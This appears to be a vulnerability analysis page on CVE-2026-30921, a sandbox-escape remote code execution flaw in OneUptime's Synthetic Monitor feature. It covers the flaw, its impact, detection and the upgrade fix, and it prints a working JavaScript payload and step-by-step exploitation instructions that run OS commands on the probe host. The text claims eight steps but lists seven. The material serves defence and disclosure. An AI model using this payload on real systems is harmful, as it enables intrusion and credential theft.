CVE-2026-30921: 
JavaScript vulnerability analysis and mitigation

CVE-2026-30921 is a critical server-side Remote Code Execution (RCE) vulnerability in OneUptime's Synthetic Monitor feature, classified as "Synthetic Monitor RCE via exposed Playwright browser object." It affects all versions of the oneuptime and @oneuptime/common npm packages prior to 10.0.20. The vulnerability was published on March 6, 2026, by researcher maru1009 via the GitHub Security Advisory GHSA-4j36-39gm-8vq8, and was added to the NVD on March 10, 2026. It carries a CVSS v3.1 base score of 9.9 (Critical) (GitHub Advisory, OneUptime Advisory).

The root cause is CWE-749 (Exposed Dangerous Method or Function): the VMRunner.runCodeInNodeVM() function executes user-supplied Playwright scripts inside a Node.js vm sandbox but injects live host Playwright browser and page objects directly into the VM context. Because the proxy wrapper only blocks a small set of property names while forwarding real method calls with the host this binding, an attacker can call browser.browserType().launch() with attacker-controlled options (e.g., executablePath, args) to spawn arbitrary executables on the probe host — without needing the classic this.constructor.constructor(...) prototype-chain sandbox escape. This is distinct from the previously disclosed node:vm breakout (GHSA-h343-gg57-2q67), as the attack surface here is the exposure of a dangerous capability object rather than prototype-chain access to process. The vulnerability is exploitable by any low-privileged project member who can create or edit Synthetic Monitors, either as a one-shot RCE via "Test Monitor" or as persistent scheduled RCE by saving a malicious monitor (OneUptime Advisory, GitHub Advisory).

Successful exploitation grants an attacker arbitrary OS command execution as the oneuptime-probe service process on the probe host or container. This results in high confidentiality, integrity, and availability impact — an attacker can exfiltrate internal secrets, Kubernetes metadata, database credentials, and proxy credentials accessible to the probe, modify or destroy data, and disrupt monitoring services. Because the probe typically has access to cluster-internal trust relationships, exploitation can facilitate lateral movement into broader infrastructure (OneUptime Advisory).

A detailed proof-of-concept (PoC) with eight explicit steps is publicly available in the GitHub Security Advisory, including a JavaScript payload demonstrating full RCE via process.getBuiltinModule("child_process").execSync("id"). Feedly's threat intelligence classifies the exploit confidence as high and confirms it is a real exploit. There is no current evidence of in-the-wild exploitation, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.022% (7th percentile), indicating low but non-zero near-term exploitation probability (GitHub Advisory, OneUptime Advisory).

1. Obtain project membership: Log in to a OneUptime instance as any user with ordinary project membership (ProjectMember role or higher).
2. Navigate to Monitors: In the dashboard, go to Monitors → Create New Monitor.
3. Select Synthetic Monitor: Choose the "Synthetic Monitor" type to access the Playwright code editor.
4. Inject malicious payload: In the Playwright Code editor, paste a payload that leverages the injected browser object or escapes via the console.log function constructor to access child_process:

const HostFunction = Object.getOwnPropertyDescriptor(console, "log").value.constructor;
return {
  data: {
    node: HostFunction('return process.version')(),
    cwd: HostFunction('return process.cwd()')(),
    id: HostFunction(
      'return process.getBuiltinModule("child_process").execSync("id").toString()'
    )(),
  },
};

5. Configure monitor settings: Select any browser type (e.g., Chromium), any screen size (e.g., Desktop), and set retry count to 0.
6. Trigger execution: Click Test Monitor, select a probe, and submit. Alternatively, save the monitor to schedule persistent recurring RCE.
7. Retrieve output: View the command output in the "Show More Details" section of the monitor test result — confirming arbitrary OS command execution on the probe host (OneUptime Advisory).

• Logs: OneUptime probe logs (oneuptime-probe) showing execution of Synthetic Monitor scripts with unusual output (e.g., OS user IDs, file paths, or unexpected command results) in monitor test results; errors from Playwright's BrowserType.launch() referencing non-browser executables.
• Process: Unexpected child processes spawned by the oneuptime-probe Node.js process (e.g., /bin/sh, bash, curl, wget, python, or other system utilities not related to browser automation).
• Network: Outbound connections from the probe host/container to unknown external IPs or C2 infrastructure, particularly originating from the probe service process.
• File System: New or modified files in the probe container's working directory or temp directories; unexpected cron jobs, scripts, or binaries created by the probe service account.
• Application: Synthetic Monitor entries in the OneUptime dashboard containing obfuscated JavaScript, references to child_process, execSync, HostFunction, or getBuiltinModule; monitor tests queued by low-privileged users with unusual frequency (OneUptime Advisory).

Upgrade OneUptime (npm packages oneuptime and @oneuptime/common) to version 10.0.20 or later, which contains the official fix. As an interim workaround, restrict which users can create or edit Synthetic Monitors by limiting project membership to trusted users only. Additionally, avoid exposing live host capability objects (such as Playwright browser and page instances) to user-submitted code, and implement sandboxing that does not grant untrusted code access to dangerous host functions (GitHub Advisory, OneUptime Advisory).

The vulnerability received coverage from The Hacker Wire, which published an article on the critical RCE in OneUptime Synthetic Monitors. The Straylight Sentinel Brief (March 10, 2026) also highlighted the issue. Social media activity was observed on Bluesky and via CVEnew on Nitter. The security community noted that this is a distinct and more direct attack path than the previously disclosed node:vm sandbox escape (GHSA-h343-gg57-2q67), as it exploits exposed host capability objects rather than prototype-chain manipulation (OneUptime Advisory).